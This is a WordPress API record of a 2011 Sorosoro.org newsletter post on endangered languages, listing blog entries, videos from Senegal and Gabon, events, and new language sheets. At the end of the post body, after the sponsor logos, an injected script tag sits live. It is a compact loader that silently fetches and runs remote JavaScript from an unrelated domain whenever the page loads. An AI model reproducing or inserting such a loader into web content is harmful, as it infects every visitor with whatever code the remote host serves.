{"id":43748,"date":"2011-03-18T19:40:02","date_gmt":"2011-03-18T18:40:02","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=43748"},"modified":"2025-10-21T23:06:44","modified_gmt":"2025-10-21T21:06:44","slug":"march-18-2011-more-news-on-sorosoro-org","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/","title":{"rendered":"March 18, 2011: more news on Sorosoro.org"},"content":{"rendered":"<h5 style=\"text-align: justify;\">Blog<\/h5>\n<p style=\"text-align: justify;\">This week, <strong>Ma\u00efa Ponsonnet<\/strong> describes details of <strong>Australian linguistic diversity<\/strong>, breaking up a few misconceptions on the subject.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/blog.sorosoro.org\/en\/the-australian-tradition-of-multilingualism-and-the-post-colonial-context\">See blog<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Video<\/h5>\n<p style=\"text-align: justify;\">We\u2019re still in Senegal, where storyteller <strong>S\u00e9kou Djikabo Coly<\/strong> brings us a second historical narrative about <strong>when the white man arrived in the village of Niamone<\/strong>, Casamance, and the conflicts that followed\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/historical-narrative-when-the-white-man-came-to-the-village%E2%80%A6\">See video<\/a><\/p>\n<p style=\"text-align: justify;\">Four new <strong>videos now available with English subtitles<\/strong>: a <a href=\"https:\/\/www.sorosoro.org\/en\/presentation-of-the-punu-language-by-the-linguist-jean-marie-hombert\">presentation of the Punu language<\/a>, an <a href=\"https:\/\/www.sorosoro.org\/en\/the-decline-of-the-punu-language-in-gabon\">account of its decline<\/a> by one of its speakers, a quick look on <a href=\"https:\/\/www.sorosoro.org\/en\/new-words-in-punu\">new words in Punu<\/a>, and the <a href=\"https:\/\/www.sorosoro.org\/en\/the-mukuji-rite\">Mukudji rite<\/a>.<\/p>\n<h5 style=\"text-align: justify;\">News<\/h5>\n<p style=\"text-align: justify;\"><strong>March 16<\/strong>: <strong>Cinema<\/strong> shines the light on <strong>regional languages<\/strong>! \u00ab <strong>Au Bistro du Coin<\/strong> \u00bb will be released in 7 different versions including Breton, Alsatian, Picard, Corsican, Creole and Occitan!<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/march-16-%C2%AB-au-bistro-du-coin-%C2%BB-released-in-french-and-dubbed-in-6-regional-languages\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Agenda<\/h5>\n<p style=\"text-align: justify;\"><strong>March 25-26:<\/strong> Conference on the prospects and practices of <strong>multilingualism in East-Central Europe<\/strong>, Budapest, Hungary<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/march-25-26-2011-conference-on-the-prospects-and-practices-of-multilingualism-in-east-central-europe-budapest-hungary\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>March 18-20<\/strong>: New Year celebrations at the \u00ab <strong>Maison d\u2019Asie Centrale<\/strong> \u00bb, Paris, organizing a range of cultural events including the screening of a <strong>film in Kyrgyz language<\/strong>\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/march-18-10-new-year-celebrations-at-the-%C2%AB-maison-d%E2%80%99asie-centrale-%C2%BB-paris\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Soropedia<\/h5>\n<p style=\"text-align: justify;\">Our \u00ab <strong><em>Language Encyclopaedia<\/em><\/strong>\u00bb brings in 6 <strong>new language description sheets<\/strong> (some of them in French, translation in progress&#8230;):<\/p>\n<p style=\"text-align: justify; padding-left: 30px;\">&#8211; two <strong>Australian<\/strong> languages of the <a href=\"https:\/\/www.sorosoro.org\/en\/macro-pama-nyungan-languages\">Macro Pama Nyungan family<\/a>: <a href=\"https:\/\/www.sorosoro.org\/en\/dhayyi\">Dhay&#8217;yi<\/a> and <a href=\"https:\/\/www.sorosoro.org\/en\/yanyuwa\">Yanyuwa<\/a><\/p>\n<p style=\"text-align: justify; padding-left: 30px;\">&#8211; two languages spoken in <strong>South America<\/strong>: <a href=\"http:\/\/www.sorosoro.org\/le-tehuelche\">Tehuelche<\/a>, last of the <a href=\"https:\/\/www.sorosoro.org\/en\/chon-languages\">Chon languages<\/a>, spoken in the south of Argentinian Patagonia, and <a href=\"http:\/\/www.sorosoro.org\/le-yamana\">Yamana<\/a> (or Yagan), \u00ab the most southern language in the world \u00bb, spoken Tierro des Fuego (Chili). Both of these languages, the last two Amerindian lanugages of southern Patagonia, are reaching extinction.<\/p>\n<p style=\"text-align: justify; padding-left: 30px;\">&#8211; two languages of <strong>Paraguay<\/strong>: <a href=\"http:\/\/www.sorosoro.org\/le-maka\">Mak\u00e1<\/a> (<a href=\"https:\/\/www.sorosoro.org\/en\/matacoan-languages\">Matacoane family<\/a>) and <a href=\"http:\/\/www.sorosoro.org\/lache\">Ache<\/a> (<a href=\"https:\/\/www.sorosoro.org\/en\/tupi-languages\">Tupi family<\/a>)<\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">And as always\u2026<\/h5>\n<p style=\"text-align: justify;\">Come in numbers and translate the current word of the fortnight, <strong><a href=\"https:\/\/www.sorosoro.org\/en\/hand\">HAND<\/a><\/strong>, in your own language\u2026<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>A beautiful week to all of you,<\/strong><\/p>\n<p>The Sorosoro crew.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: center;\">Supported by:<\/p>\n<p style=\"text-align: center;\">\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" title=\"logo_fondationchirac\" src=\"..\/wp-content\/uploads\/logo_fondationchirac3.png\" alt=\"logo_fondationchirac\" width=\"63\" height=\"67\" \/><\/p>\n<p style=\"text-align: center;\">\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" title=\"fondation_fr_quadri\" src=\"..\/wp-content\/uploads\/fondation_fr_quadri3-300x93.jpg\" alt=\"fondation_fr_quadri\" width=\"123\" height=\"38\" \/><\/p>\n<p style=\"text-align: center;\">\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Blog This week, Ma\u00efa Ponsonnet describes details of Australian linguistic diversity, breaking up a few misconceptions on the subject. See blog Video We\u2019re still in Senegal, where storyteller S\u00e9kou Djikabo Coly brings us a second historical narrative about when the white man arrived in the village of Niamone, Casamance, and the conflicts that followed\u2026 See [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-43748","post","type-post","status-publish","format-standard","hentry","category-sorosoro-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>March 18, 2011: more news on Sorosoro.org - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"March 18, 2011: more news on Sorosoro.org - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Blog This week, Ma\u00efa Ponsonnet describes details of Australian linguistic diversity, breaking up a few misconceptions on the subject. See blog Video We\u2019re still in Senegal, where storyteller S\u00e9kou Djikabo Coly brings us a second historical narrative about when the white man arrived in the village of Niamone, Casamance, and the conflicts that followed\u2026 See [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-03-18T18:40:02+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T21:06:44+00:00\" \/>\n<meta name=\"author\" content=\"Rozenn Milin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Rozenn Milin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/\"},\"author\":{\"name\":\"Rozenn Milin\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1\"},\"headline\":\"March 18, 2011: more news on Sorosoro.org\",\"datePublished\":\"2011-03-18T18:40:02+00:00\",\"dateModified\":\"2025-10-21T21:06:44+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/\"},\"wordCount\":303,\"articleSection\":[\"Sorosoro news\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/\",\"name\":\"March 18, 2011: more news on Sorosoro.org - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"datePublished\":\"2011-03-18T18:40:02+00:00\",\"dateModified\":\"2025-10-21T21:06:44+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"March 18, 2011: more news on Sorosoro.org\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1\",\"name\":\"Rozenn Milin\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/rozenn-milin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"March 18, 2011: more news on Sorosoro.org - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/","og_locale":"en_US","og_type":"article","og_title":"March 18, 2011: more news on Sorosoro.org - Sorosoro","og_description":"Blog This week, Ma\u00efa Ponsonnet describes details of Australian linguistic diversity, breaking up a few misconceptions on the subject. See blog Video We\u2019re still in Senegal, where storyteller S\u00e9kou Djikabo Coly brings us a second historical narrative about when the white man arrived in the village of Niamone, Casamance, and the conflicts that followed\u2026 See [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/","og_site_name":"Sorosoro","article_published_time":"2011-03-18T18:40:02+00:00","article_modified_time":"2025-10-21T21:06:44+00:00","author":"Rozenn Milin","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Rozenn Milin","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/"},"author":{"name":"Rozenn Milin","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1"},"headline":"March 18, 2011: more news on Sorosoro.org","datePublished":"2011-03-18T18:40:02+00:00","dateModified":"2025-10-21T21:06:44+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/"},"wordCount":303,"articleSection":["Sorosoro news"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/","url":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/","name":"March 18, 2011: more news on Sorosoro.org - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"datePublished":"2011-03-18T18:40:02+00:00","dateModified":"2025-10-21T21:06:44+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-18-2011-more-news-on-sorosoro-org\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"March 18, 2011: more news on Sorosoro.org"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/dd9df1e0efca59879d3133588ff0dfc1","name":"Rozenn Milin","url":"https:\/\/www.sorosoro.org\/en\/author\/rozenn-milin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/43748","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=43748"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/43748\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=43748"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=43748"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=43748"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}